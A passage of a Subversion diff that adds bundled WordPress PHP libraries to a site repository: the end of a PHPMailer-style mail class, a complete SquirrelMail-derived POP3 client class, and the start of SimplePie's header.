+   * @param string $encoding File encoding (see $Encoding).
+   * @param string $type File extension (MIME) type.
+   * @return void
+   */
+  function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
+    /* Append to $attachment array */
+    $cur = count($this->attachment);
+    $this->attachment[$cur][0] = $string;
+    $this->attachment[$cur][1] = $filename;
+    $this->attachment[$cur][2] = $filename;
+    $this->attachment[$cur][3] = $encoding;
+    $this->attachment[$cur][4] = $type;
+    $this->attachment[$cur][5] = true; // isString
+    $this->attachment[$cur][6] = 'attachment';
+    $this->attachment[$cur][7] = 0;
+  }
+
+  /**
+   * Adds an embedded attachment.  This can include images, sounds, and
+   * just about any other document.  Make sure to set the $type to an
+   * image type.  For JPEG images use "image/jpeg" and for GIF images
+   * use "image/gif".
+   * @param string $path Path to the attachment.
+   * @param string $cid Content ID of the attachment.  Use this to identify
+   *        the Id for accessing the image in an HTML form.
+   * @param string $name Overrides the attachment name.
+   * @param string $encoding File encoding (see $Encoding).
+   * @param string $type File extension (MIME) type.
+   * @return bool
+   */
+  function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
+
+    if(!@is_file($path)) {
+      $this->SetError($this->Lang('file_access') . $path);
+      return false;
+    }
+
+    $filename = basename($path);
+    if($name == '') {
+      $name = $filename;
+    }
+
+    /* Append to $attachment array */
+    $cur = count($this->attachment);
+    $this->attachment[$cur][0] = $path;
+    $this->attachment[$cur][1] = $filename;
+    $this->attachment[$cur][2] = $name;
+    $this->attachment[$cur][3] = $encoding;
+    $this->attachment[$cur][4] = $type;
+    $this->attachment[$cur][5] = false;
+    $this->attachment[$cur][6] = 'inline';
+    $this->attachment[$cur][7] = $cid;
+
+    return true;
+  }
+
+  /**
+   * Returns true if an inline attachment is present.
+   * @access private
+   * @return bool
+   */
+  function InlineImageExists() {
+    $result = false;
+    for($i = 0; $i < count($this->attachment); $i++) {
+      if($this->attachment[$i][6] == 'inline') {
+        $result = true;
+        break;
+      }
+    }
+
+    return $result;
+  }
+
+  /////////////////////////////////////////////////
+  // CLASS METHODS, MESSAGE RESET
+  /////////////////////////////////////////////////
+
+  /**
+   * Clears all recipients assigned in the TO array.  Returns void.
+   * @return void
+   */
+  function ClearAddresses() {
+    $this->to = array();
+  }
+
+  /**
+   * Clears all recipients assigned in the CC array.  Returns void.
+   * @return void
+   */
+  function ClearCCs() {
+    $this->cc = array();
+  }
+
+  /**
+   * Clears all recipients assigned in the BCC array.  Returns void.
+   * @return void
+   */
+  function ClearBCCs() {
+    $this->bcc = array();
+  }
+
+  /**
+   * Clears all recipients assigned in the ReplyTo array.  Returns void.
+   * @return void
+   */
+  function ClearReplyTos() {
+    $this->ReplyTo = array();
+  }
+
+  /**
+   * Clears all recipients assigned in the TO, CC and BCC
+   * array.  Returns void.
+   * @return void
+   */
+  function ClearAllRecipients() {
+    $this->to = array();
+    $this->cc = array();
+    $this->bcc = array();
+  }
+
+  /**
+   * Clears all previously set filesystem, string, and binary
+   * attachments.  Returns void.
+   * @return void
+   */
+  function ClearAttachments() {
+    $this->attachment = array();
+  }
+
+  /**
+   * Clears all custom headers.  Returns void.
+   * @return void
+   */
+  function ClearCustomHeaders() {
+    $this->CustomHeader = array();
+  }
+
+  /////////////////////////////////////////////////
+  // CLASS METHODS, MISCELLANEOUS
+  /////////////////////////////////////////////////
+
+  /**
+   * Adds the error message to the error container.
+   * Returns void.
+   * @access private
+   * @return void
+   */
+  function SetError($msg) {
+    $this->error_count++;
+    $this->ErrorInfo = $msg;
+  }
+
+  /**
+   * Returns the proper RFC 822 formatted date.
+   * @access private
+   * @return string
+   */
+  function RFCDate() {
+    $tz = date('Z');
+    $tzs = ($tz < 0) ? '-' : '+';
+    $tz = abs($tz);
+    $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
+    $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
+
+    return $result;
+  }
+
+  /**
+   * Returns the appropriate server variable.  Should work with both
+   * PHP 4.1.0+ as well as older versions.  Returns an empty string
+   * if nothing is found.
+   * @access private
+   * @return mixed
+   */
+  function ServerVar($varName) {
+    global $HTTP_SERVER_VARS;
+    global $HTTP_ENV_VARS;
+
+    if(!isset($_SERVER)) {
+      $_SERVER = $HTTP_SERVER_VARS;
+      if(!isset($_SERVER['REMOTE_ADDR'])) {
+        $_SERVER = $HTTP_ENV_VARS; // must be Apache
+      }
+    }
+
+    if(isset($_SERVER[$varName])) {
+      return $_SERVER[$varName];
+    } else {
+      return '';
+    }
+  }
+
+  /**
+   * Returns the server hostname or 'localhost.localdomain' if unknown.
+   * @access private
+   * @return string
+   */
+  function ServerHostname() {
+    if ($this->Hostname != '') {
+      $result = $this->Hostname;
+    } elseif ($this->ServerVar('SERVER_NAME') != '') {
+      $result = $this->ServerVar('SERVER_NAME');
+    } else {
+      $result = 'localhost.localdomain';
+    }
+
+    return $result;
+  }
+
+  /**
+   * Returns a message in the appropriate language.
+   * @access private
+   * @return string
+   */
+  function Lang($key) {
+    if(count($this->language) < 1) {
+      $this->SetLanguage('en'); // set the default language
+    }
+
+    if(isset($this->language[$key])) {
+      return $this->language[$key];
+    } else {
+      return 'Language string failed to load: ' . $key;
+    }
+  }
+
+  /**
+   * Returns true if an error occurred.
+   * @return bool
+   */
+  function IsError() {
+    return ($this->error_count > 0);
+  }
+
+  /**
+   * Changes every end of line from CR or LF to CRLF.
+   * @access private
+   * @return string
+   */
+  function FixEOL($str) {
+    $str = str_replace("\r\n", "\n", $str);
+    $str = str_replace("\r", "\n", $str);
+    $str = str_replace("\n", $this->LE, $str);
+    return $str;
+  }
+
+  /**
+   * Adds a custom header.
+   * @return void
+   */
+  function AddCustomHeader($custom_header) {
+    $this->CustomHeader[] = explode(':', $custom_header, 2);
+  }
+
+  /**
+   * Evaluates the message and returns modifications for inline images and backgrounds
+   * @access public
+   * @return $message
+   */
+  function MsgHTML($message,$basedir='') {
+    preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
+    if(isset($images[2])) {
+      foreach($images[2] as $i => $url) {
+        // do not change urls for absolute images (thanks to corvuscorax)
+        if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
+          $filename = basename($url);
+          $directory = dirname($url);
+          ($directory == '.')?$directory='':'';
+          $cid = 'cid:' . md5($filename);
+          $fileParts = split("\.", $filename);
+          $ext = $fileParts[1];
+          $mimeType = $this->_mime_types($ext);
+          if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
+          if ( strlen($directory) > 1 && substr($directory,-1) != '/') { $directory .= '/'; }
+          if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
+            $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
+          }
+        }
+      }
+    }
+    $this->IsHTML(true);
+    $this->Body = $message;
+    $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
+    if ( !empty($textMsg) && empty($this->AltBody) ) {
+      $this->AltBody = html_entity_decode($textMsg);
+    }
+    if ( empty($this->AltBody) ) {
+      $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
+    }
+  }
+
+  /**
+   * Gets the mime type of the embedded or inline image
+   * @access private
+   * @return mime type of ext
+   */
+  function _mime_types($ext = '') {
+    $mimes = array(
+      'ai'    =>  'application/postscript',
+      'aif'   =>  'audio/x-aiff',
+      'aifc'  =>  'audio/x-aiff',
+      'aiff'  =>  'audio/x-aiff',
+      'avi'   =>  'video/x-msvideo',
+      'bin'   =>  'application/macbinary',
+      'bmp'   =>  'image/bmp',
+      'class' =>  'application/octet-stream',
+      'cpt'   =>  'application/mac-compactpro',
+      'css'   =>  'text/css',
+      'dcr'   =>  'application/x-director',
+      'dir'   =>  'application/x-director',
+      'dll'   =>  'application/octet-stream',
+      'dms'   =>  'application/octet-stream',
+      'doc'   =>  'application/msword',
+      'dvi'   =>  'application/x-dvi',
+      'dxr'   =>  'application/x-director',
+      'eml'   =>  'message/rfc822',
+      'eps'   =>  'application/postscript',
+      'exe'   =>  'application/octet-stream',
+      'gif'   =>  'image/gif',
+      'gtar'  =>  'application/x-gtar',
+      'htm'   =>  'text/html',
+      'html'  =>  'text/html',
+      'jpe'   =>  'image/jpeg',
+      'jpeg'  =>  'image/jpeg',
+      'jpg'   =>  'image/jpeg',
+      'hqx'   =>  'application/mac-binhex40',
+      'js'    =>  'application/x-javascript',
+      'lha'   =>  'application/octet-stream',
+      'log'   =>  'text/plain',
+      'lzh'   =>  'application/octet-stream',
+      'mid'   =>  'audio/midi',
+      'midi'  =>  'audio/midi',
+      'mif'   =>  'application/vnd.mif',
+      'mov'   =>  'video/quicktime',
+      'movie' =>  'video/x-sgi-movie',
+      'mp2'   =>  'audio/mpeg',
+      'mp3'   =>  'audio/mpeg',
+      'mpe'   =>  'video/mpeg',
+      'mpeg'  =>  'video/mpeg',
+      'mpg'   =>  'video/mpeg',
+      'mpga'  =>  'audio/mpeg',
+      'oda'   =>  'application/oda',
+      'pdf'   =>  'application/pdf',
+      'php'   =>  'application/x-httpd-php',
+      'php3'  =>  'application/x-httpd-php',
+      'php4'  =>  'application/x-httpd-php',
+      'phps'  =>  'application/x-httpd-php-source',
+      'phtml' =>  'application/x-httpd-php',
+      'png'   =>  'image/png',
+      'ppt'   =>  'application/vnd.ms-powerpoint',
+      'ps'    =>  'application/postscript',
+      'psd'   =>  'application/octet-stream',
+      'qt'    =>  'video/quicktime',
+      'ra'    =>  'audio/x-realaudio',
+      'ram'   =>  'audio/x-pn-realaudio',
+      'rm'    =>  'audio/x-pn-realaudio',
+      'rpm'   =>  'audio/x-pn-realaudio-plugin',
+      'rtf'   =>  'text/rtf',
+      'rtx'   =>  'text/richtext',
+      'rv'    =>  'video/vnd.rn-realvideo',
+      'sea'   =>  'application/octet-stream',
+      'shtml' =>  'text/html',
+      'sit'   =>  'application/x-stuffit',
+      'so'    =>  'application/octet-stream',
+      'smi'   =>  'application/smil',
+      'smil'  =>  'application/smil',
+      'swf'   =>  'application/x-shockwave-flash',
+      'tar'   =>  'application/x-tar',
+      'text'  =>  'text/plain',
+      'txt'   =>  'text/plain',
+      'tgz'   =>  'application/x-tar',
+      'tif'   =>  'image/tiff',
+      'tiff'  =>  'image/tiff',
+      'wav'   =>  'audio/x-wav',
+      'wbxml' =>  'application/vnd.wap.wbxml',
+      'wmlc'  =>  'application/vnd.wap.wmlc',
+      'word'  =>  'application/msword',
+      'xht'   =>  'application/xhtml+xml',
+      'xhtml' =>  'application/xhtml+xml',
+      'xl'    =>  'application/excel',
+      'xls'   =>  'application/vnd.ms-excel',
+      'xml'   =>  'text/xml',
+      'xsl'   =>  'text/xml',
+      'zip'   =>  'application/zip'
+    );
+    return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
+  }
+
+  /**
+   * Set (or reset) Class Objects (variables)
+   *
+   * Usage Example:
+   * $page->set('X-Priority', '3');
+   *
+   * @access public
+   * @param string $name Parameter Name
+   * @param mixed $value Parameter Value
+   * NOTE: will not work with arrays, there are no arrays to set/reset
+   */
+  function set ( $name, $value = '' ) {
+    if ( isset($this->$name) ) {
+      $this->$name = $value;
+    } else {
+      $this->SetError('Cannot set or reset variable ' . $name);
+      return false;
+    }
+  }
+
+  /**
+   * Read a file from a supplied filename and return it.
+   *
+   * @access public
+   * @param string $filename Parameter File Name
+   */
+  function getFile($filename) {
+    $return = '';
+    if ($fp = fopen($filename, 'rb')) {
+      while (!feof($fp)) {
+        $return .= fread($fp, 1024);
+      }
+      fclose($fp);
+      return $return;
+    } else {
+      return false;
+    }
+  }
+
+  /**
+   * Strips newlines to prevent header injection.
+   * @access private
+   * @param string $str String
+   * @return string
+   */
+  function SecureHeader($str) {
+    $str = trim($str);
+    $str = str_replace("\r", "", $str);
+    $str = str_replace("\n", "", $str);
+    return $str;
+  }
+
+  /**
+   * Set the private key file and password to sign the message.
+   *
+   * @access public
+   * @param string $key_filename Parameter File Name
+   * @param string $key_pass Password for private key
+   */
+  function Sign($cert_filename, $key_filename, $key_pass) {
+    $this->sign_cert_file = $cert_filename;
+    $this->sign_key_file = $key_filename;
+    $this->sign_key_pass = $key_pass;
+  }
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-pop3.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-pop3.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-pop3.php	(revision 44)
@@ -0,0 +1,651 @@
+<?php
+/**
+ * mail_fetch/setup.php
+ *
+ * @package SquirrelMail
+ *
+ * @copyright (c) 1999-2006 The SquirrelMail Project Team
+ *
+ * @copyright (c) 1999 CDI (cdi@thewebmasters.net) All Rights Reserved
+ * Modified by Philippe Mingo 2001 mingo@rotedic.com
+ * An RFC 1939 compliant wrapper class for the POP3 protocol.
+ *
+ * Licensed under the GNU GPL. For full terms see the file COPYING.
+ *
+ * pop3 class
+ *
+ * $Id: class-pop3.php 9503 2008-11-03 23:25:11Z ryan $
+ */
+
+class POP3 {
+    var $ERROR      = '';       //  Error string.
+
+    var $TIMEOUT    = 60;       //  Default timeout before giving up on a
+                                //  network operation.
+
+    var $COUNT      = -1;       //  Mailbox msg count
+
+    var $BUFFER     = 512;      //  Socket buffer for socket fgets() calls.
+                                //  Per RFC 1939 the returned line a POP3
+                                //  server can send is 512 bytes.
+
+    var $FP         = '';       //  The connection to the server's
+                                //  file descriptor
+
+    var $MAILSERVER = '';       // Set this to hard code the server name
+
+    var $DEBUG      = FALSE;    // set to true to echo pop3
+                                // commands and responses to error_log
+                                // this WILL log passwords!
+
+    var $BANNER     = '';       //  Holds the banner returned by the
+                                //  pop server - used for apop()
+
+    var $ALLOWAPOP  = FALSE;    //  Allow or disallow apop()
+                                //  This must be set to true
+                                //  manually
+
+    function POP3 ( $server = '', $timeout = '' ) {
+        settype($this->BUFFER,"integer");
+        if( !empty($server) ) {
+            // Do not allow programs to alter MAILSERVER
+            // if it is already specified. They can get around
+            // this if they -really- want to, so don't count on it.
+            if(empty($this->MAILSERVER))
+                $this->MAILSERVER = $server;
+        }
+        if(!empty($timeout)) {
+            settype($timeout,"integer");
+            $this->TIMEOUT = $timeout;
+            if (!ini_get('safe_mode'))
+                set_time_limit($timeout);
+        }
+        return true;
+    }
+
+    function update_timer () {
+        if (!ini_get('safe_mode'))
+            set_time_limit($this->TIMEOUT);
+        return true;
+    }
+
+    function connect ($server, $port = 110)  {
+        //  Opens a socket to the specified server. Unless overridden,
+        //  port defaults to 110. Returns true on success, false on fail
+
+        // If MAILSERVER is set, override $server with it's value
+
+	if (!isset($port) || !$port) {$port = 110;}
+        if(!empty($this->MAILSERVER))
+            $server = $this->MAILSERVER;
+
+        if(empty($server)){
+            $this->ERROR = "POP3 connect: " . _("No server specified");
+            unset($this->FP);
+            return false;
+        }
+
+        $fp = @fsockopen("$server", $port, $errno, $errstr);
+
+        if(!$fp) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
+            unset($this->FP);
+            return false;
+        }
+
+        socket_set_blocking($fp,-1);
+        $this->update_timer();
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG)
+            error_log("POP3 SEND [connect: $server] GOT [$reply]",0);
+        if(!$this->is_ok($reply)) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]";
+            unset($this->FP);
+            return false;
+        }
+        $this->FP = $fp;
+        $this->BANNER = $this->parse_banner($reply);
+        return true;
+    }
+
+    function user ($user = "") {
+        // Sends the USER command, returns true or false
+
+        if( empty($user) ) {
+            $this->ERROR = "POP3 user: " . _("no login ID submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 user: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("USER $user");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]";
+                return false;
+            } else
+                return true;
+        }
+    }
+
+    function pass ($pass = "")     {
+        // Sends the PASS command, returns # of msgs in mailbox,
+        // returns false (undef) on Auth failure
+
+        if(empty($pass)) {
+            $this->ERROR = "POP3 pass: " . _("No password submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 pass: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("PASS $pass");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]";
+                $this->quit();
+                return false;
+            } else {
+                //  Auth successful.
+                $count = $this->last("count");
+                $this->COUNT = $count;
+                return $count;
+            }
+        }
+    }
+
+    function apop ($login,$pass) {
+        //  Attempts an APOP login. If this fails, it'll
+        //  try a standard login. YOUR SERVER MUST SUPPORT
+        //  THE USE OF THE APOP COMMAND!
+        //  (apop is optional per rfc1939)
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 apop: " . _("No connection to server");
+            return false;
+        } elseif(!$this->ALLOWAPOP) {
+            $retVal = $this->login($login,$pass);
+            return $retVal;
+        } elseif(empty($login)) {
+            $this->ERROR = "POP3 apop: " . _("No login ID submitted");
+            return false;
+        } elseif(empty($pass)) {
+            $this->ERROR = "POP3 apop: " . _("No password submitted");
+            return false;
+        } else {
+            $banner = $this->BANNER;
+            if( (!$banner) or (empty($banner)) ) {
+                $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort");
+                $retVal = $this->login($login,$pass);
+                return $retVal;
+            } else {
+                $AuthString = $banner;
+                $AuthString .= $pass;
+                $APOPString = md5($AuthString);
+                $cmd = "APOP $login $APOPString";
+                $reply = $this->send_cmd($cmd);
+                if(!$this->is_ok($reply)) {
+                    $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort");
+                    $retVal = $this->login($login,$pass);
+                    return $retVal;
+                } else {
+                    //  Auth successful.
+                    $count = $this->last("count");
+                    $this->COUNT = $count;
+                    return $count;
+                }
+            }
+        }
+    }
+
+    function login ($login = "", $pass = "") {
+        // Sends both user and pass. Returns # of msgs in mailbox or
+        // false on failure (or -1, if the error occurs while getting
+        // the number of messages.)
+
+        if( !isset($this->FP) ) {
+            $this->ERROR = "POP3 login: " . _("No connection to server");
+            return false;
+        } else {
+            $fp = $this->FP;
+            if( !$this->user( $login ) ) {
+                //  Preserve the error generated by user()
+                return false;
+            } else {
+                $count = $this->pass($pass);
+                if( (!$count) || ($count == -1) ) {
+                    //  Preserve the error generated by last() and pass()
+                    return false;
+                } else
+                    return $count;
+            }
+        }
+    }
+
+    function top ($msgNum, $numLines = "0") {
+        //  Gets the header and first $numLines of the msg body
+        //  returns data in an array with each returned line being
+        //  an array element. If $numLines is empty, returns
+        //  only the header information, and none of the body.
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 top: " . _("No connection to server");
+            return false;
+        }
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "TOP $msgNum $numLines";
+        fwrite($fp, "TOP $msgNum $numLines\r\n");
+        $reply = fgets($fp, $buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) {
+            @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+        }
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !ereg("^\.\r\n",$line))
+        {
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+
+        return $MsgArray;
+    }
+
+    function pop_list ($msgNum = "") {
+        //  If called with an argument, returns that msgs' size in octets
+        //  No argument returns an associative array of undeleted
+        //  msg numbers and their sizes in octets
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 pop_list: " . _("No connection to server");
+            return false;
+        }
+        $fp = $this->FP;
+        $Total = $this->COUNT;
+        if( (!$Total) or ($Total == -1) )
+        {
+            return false;
+        }
+        if($Total == 0)
+        {
+            return array("0","0");
+            // return -1;   // mailbox empty
+        }
+
+        $this->update_timer();
+
+        if(!empty($msgNum))
+        {
+            $cmd = "LIST $msgNum";
+            fwrite($fp,"$cmd\r\n");
+            $reply = fgets($fp,$this->BUFFER);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) {
+                @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+            }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list($junk,$num,$size) = preg_split('/\s+/',$reply);
+            return $size;
+        }
+        $cmd = "LIST";
+        $reply = $this->send_cmd($cmd);
+        if(!$this->is_ok($reply))
+        {
+            $reply = $this->strip_clf($reply);
+            $this->ERROR = "POP3 pop_list: " . _("Error ") .  "[$reply]";
+            return false;
+        }
+        $MsgArray = array();
+        $MsgArray[0] = $Total;
+        for($msgC=1;$msgC <= $Total; $msgC++)
+        {
+            if($msgC > $Total) { break; }
+            $line = fgets($fp,$this->BUFFER);
+            $line = $this->strip_clf($line);
+            if(ereg("^\.",$line))
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Premature end of list");
+                return false;
+            }
+            list($thisMsg,$msgSize) = preg_split('/\s+/',$line);
+            settype($thisMsg,"integer");
+            if($thisMsg != $msgC)
+            {
+                $MsgArray[$msgC] = "deleted";
+            }
+            else
+            {
+                $MsgArray[$msgC] = $msgSize;
+            }
+        }
+        return $MsgArray;
+    }
+
+    function get ($msgNum) {
+        //  Retrieve the specified msg number. Returns an array
+        //  where each line of the msg is an array element.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 get: " . _("No connection to server");
+            return false;
+        }
+
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "RETR $msgNum";
+        $reply = $this->send_cmd($cmd);
+
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !ereg("^\.\r\n",$line))
+        {
+            if ( $line{0} == '.' ) { $line = substr($line,1); }
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+        return $MsgArray;
+    }
+
+    function last ( $type = "count" ) {
+        //  Returns the highest msg number in the mailbox.
+        //  returns -1 on error, 0+ on success, if type != count
+        //  results in a popstat() call (2 element array returned)
+
+        $last = -1;
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 last: " . _("No connection to server");
+            return $last;
+        }
+
+        $reply = $this->send_cmd("STAT");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]";
+            return $last;
+        }
+
+        $Vars = preg_split('/\s+/',$reply);
+        $count = $Vars[1];
+        $size = $Vars[2];
+        settype($count,"integer");
+        settype($size,"integer");
+        if($type != "count")
+        {
+            return array($count,$size);
+        }
+        return $count;
+    }
+
+    function reset () {
+        //  Resets the status of the remote server. This includes
+        //  resetting the status of ALL msgs to not be deleted.
+        //  This method automatically closes the connection to the server.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 reset: " . _("No connection to server");
+            return false;
+        }
+        $reply = $this->send_cmd("RSET");
+        if(!$this->is_ok($reply))
+        {
+            //  The POP3 RSET command -never- gives a -ERR
+            //  response - if it ever does, something truely
+            //  wild is going on.
+
+            $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]";
+            @error_log("POP3 reset: ERROR [$reply]",0);
+        }
+        $this->quit();
+        return true;
+    }
+
+    function send_cmd ( $cmd = "" )
+    {
+        //  Sends a user defined command string to the
+        //  POP server and returns the results. Useful for
+        //  non-compliant or custom POP servers.
+        //  Do NOT includ the \r\n as part of your command
+        //  string - it will be appended automatically.
+
+        //  The return value is a standard fgets() call, which
+        //  will read up to $this->BUFFER bytes of data, until it
+        //  encounters a new line, or EOF, whichever happens first.
+
+        //  This method works best if $cmd responds with only
+        //  one line of data.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("No connection to server");
+            return false;
+        }
+
+        if(empty($cmd))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("Empty command string");
+            return "";
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $this->update_timer();
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        return $reply;
+    }
+
+    function quit() {
+        //  Closes the connection to the POP3 server, deleting
+        //  any msgs marked as deleted.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 quit: " . _("connection does not exist");
+            return false;
+        }
+        $fp = $this->FP;
+        $cmd = "QUIT";
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        fclose($fp);
+        unset($this->FP);
+        return true;
+    }
+
+    function popstat () {
+        //  Returns an array of 2 elements. The number of undeleted
+        //  msgs in the mailbox, and the size of the mbox in octets.
+
+        $PopArray = $this->last("array");
+
+        if($PopArray == -1) { return false; }
+
+        if( (!$PopArray) or (empty($PopArray)) )
+        {
+            return false;
+        }
+        return $PopArray;
+    }
+
+    function uidl ($msgNum = "")
+    {
+        //  Returns the UIDL of the msg specified. If called with
+        //  no arguments, returns an associative array where each
+        //  undeleted msg num is a key, and the msg's uidl is the element
+        //  Array element 0 will contain the total number of msgs
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 uidl: " . _("No connection to server");
+            return false;
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+
+        if(!empty($msgNum)) {
+            $cmd = "UIDL $msgNum";
+            $reply = $this->send_cmd($cmd);
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply);
+            return $myUidl;
+        } else {
+            $this->update_timer();
+
+            $UIDLArray = array();
+            $Total = $this->COUNT;
+            $UIDLArray[0] = $Total;
+
+            if ($Total < 1)
+            {
+                return $UIDLArray;
+            }
+            $cmd = "UIDL";
+            fwrite($fp, "UIDL\r\n");
+            $reply = fgets($fp, $buffer);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+
+            $line = "";
+            $count = 1;
+            $line = fgets($fp,$buffer);
+            while ( !ereg("^\.\r\n",$line)) {
+                if(ereg("^\.\r\n",$line)) {
+                    break;
+                }
+                list ($msg,$msgUidl) = preg_split('/\s+/',$line);
+                $msgUidl = $this->strip_clf($msgUidl);
+                if($count == $msg) {
+                    $UIDLArray[$msg] = $msgUidl;
+                }
+                else
+                {
+                    $UIDLArray[$count] = 'deleted';
+                }
+                $count++;
+                $line = fgets($fp,$buffer);
+            }
+        }
+        return $UIDLArray;
+    }
+
+    function delete ($msgNum = "") {
+        //  Flags a specified msg as deleted. The msg will not
+        //  be deleted until a quit() method is called.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 delete: " . _("No connection to server");
+            return false;
+        }
+        if(empty($msgNum))
+        {
+            $this->ERROR = "POP3 delete: " . _("No msg number submitted");
+            return false;
+        }
+        $reply = $this->send_cmd("DELE $msgNum");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]";
+            return false;
+        }
+        return true;
+    }
+
+    //  *********************************************************
+
+    //  The following methods are internal to the class.
+
+    function is_ok ($cmd = "") {
+        //  Return true or false on +OK or -ERR
+
+        if( empty($cmd) )
+            return false;
+        else
+            return( ereg ("^\+OK", $cmd ) );
+    }
+
+    function strip_clf ($text = "") {
+        // Strips \r\n from server responses
+
+        if(empty($text))
+            return $text;
+        else {
+            $stripped = str_replace("\r",'',$text);
+            $stripped = str_replace("\n",'',$stripped);
+            return $stripped;
+        }
+    }
+
+    function parse_banner ( $server_text ) {
+        $outside = true;
+        $banner = "";
+        $length = strlen($server_text);
+        for($count =0; $count < $length; $count++)
+        {
+            $digit = substr($server_text,$count,1);
+            if(!empty($digit))             {
+                if( (!$outside) && ($digit != '<') && ($digit != '>') )
+                {
+                    $banner .= $digit;
+                }
+                if ($digit == '<')
+                {
+                    $outside = false;
+                }
+                if($digit == '>')
+                {
+                    $outside = true;
+                }
+            }
+        }
+        $banner = $this->strip_clf($banner);    // Just in case
+        return "<$banner>";
+    }
+
+}   // End class
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-simplepie.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-simplepie.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-simplepie.php	(revision 44)
@@ -0,0 +1,13644 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2008, Ryan Parman and Geoffrey Sneddon
+ * All rights reserved.
+ *
